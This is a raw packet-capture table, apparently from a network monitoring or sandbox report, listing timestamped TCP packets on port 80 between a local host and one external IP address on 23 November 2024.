Nov 23, 2024 03:21:16.961010933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.961180925 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:16.984405994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:16.986639977 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.010200977 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.010211945 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.010260105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.080864906 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.080876112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.080882072 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.080887079 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.080890894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.080897093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.080900908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.080905914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.080914974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.080920935 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.080926895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.080931902 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.080936909 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.080945969 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.080950975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.080956936 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.080960989 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.080965996 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.080965996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.080976009 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081048012 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081058979 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081068039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081073046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081084013 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081094027 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081103086 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081113100 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081121922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081131935 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081140995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081140995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081140995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081140995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081146002 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081156015 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081156969 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081168890 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081178904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081180096 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081188917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081199884 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081212044 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081212044 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081229925 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081231117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081244946 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081254959 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081264973 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081264973 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081274033 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081274986 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081286907 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081296921 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081306934 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081307888 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081317902 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081327915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081331015 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081337929 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081343889 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081351995 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081362009 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081363916 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081372976 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081387997 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081397057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081408024 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081418037 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081424952 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081437111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081446886 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081450939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081459045 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081469059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081474066 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081480980 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081487894 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081492901 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081502914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081511974 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081521988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081523895 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081532955 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081549883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081552029 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081563950 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081563950 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081576109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081584930 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081588984 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081603050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081613064 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081614017 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081624985 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081631899 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081635952 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081646919 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081656933 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081659079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081672907 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081684113 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081685066 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081693888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081700087 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081706047 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081722975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081729889 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081732988 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081744909 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081754923 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081760883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081764936 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081775904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081777096 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081787109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081796885 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081799030 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081810951 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081820965 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081826925 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081835032 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081845045 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081851959 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081856012 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081866026 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081866980 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081880093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081890106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081898928 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.081902981 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081934929 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.081945896 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.082027912 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082041025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082048893 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082077980 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.082089901 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.082190037 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082201004 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082210064 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082218885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082236052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.082237959 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082251072 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082261086 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082271099 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.082271099 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082288027 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082298994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082298994 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.082309961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082314014 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.082319975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082340002 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.082349062 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082359076 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.082360983 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082372904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082382917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082400084 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082403898 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.082412958 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082413912 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.082425117 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082434893 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082437038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.082444906 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082459927 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.082461119 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082472086 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082480907 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082490921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.082490921 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082504034 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082513094 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082515955 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.082523108 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082532883 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082537889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082544088 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082546949 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.082546949 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.082551003 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082581043 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.082598925 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.082731009 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082741976 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082782984 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.082787991 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082868099 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.082915068 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.083961964 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.083972931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.084008932 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.084038019 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.085059881 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.085105896 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.085171938 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.085217953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.086162090 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.086287975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.086347103 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.087368965 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.087469101 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.087516069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.088483095 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.088531971 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.088567972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.089607954 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.089658976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.089663029 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.090615988 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.090759993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.090883970 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.090934038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.091898918 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.091943026 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.092010021 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.092201948 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.093029022 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.093147039 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.093174934 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.093206882 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.094177008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.094217062 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.094269991 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.094331026 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.095287085 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.095391035 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.095437050 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.096431971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.096543074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.096590042 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.097567081 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.097613096 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.097671032 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.097714901 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.098695040 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.098737955 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.098798990 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.098841906 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.099838972 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.099884033 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.099944115 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.099987984 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.100991964 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.101062059 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.101098061 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.101140976 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.102144003 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.102189064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.102264881 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.102308989 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.103272915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.103324890 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.103393078 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.103435993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.104423046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.104465008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.104533911 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.104577065 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.105539083 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.105581999 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.105643034 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.105686903 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.106667042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.106710911 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.106791019 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.106833935 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.107816935 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.107904911 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.107918978 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.108056068 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.108952999 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.109000921 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.109054089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.109100103 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.110100031 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.110143900 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.110198975 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.110240936 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.111231089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.111294031 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.111336946 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.111378908 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.112397909 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.112441063 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.112500906 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.112544060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.113519907 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.113564014 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.113627911 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.113670111 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.114629984 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.114672899 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.114736080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.114778996 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.115797997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.115844011 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.115900993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.115945101 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.116916895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.116959095 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.117017984 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.117059946 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.118062973 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.118108034 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.118169069 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.118212938 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.119189024 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.119230986 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.119298935 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.119338989 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.120338917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.120383024 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.120435953 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.120479107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.121485949 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.121555090 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.121623993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.121665001 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.122629881 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.122677088 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.122733116 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.122777939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.123765945 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.123810053 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.123847008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.123891115 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.124897957 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:17.124942064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:17.125010967 CET	80	49760	31.41.244.11	192.168.2.4
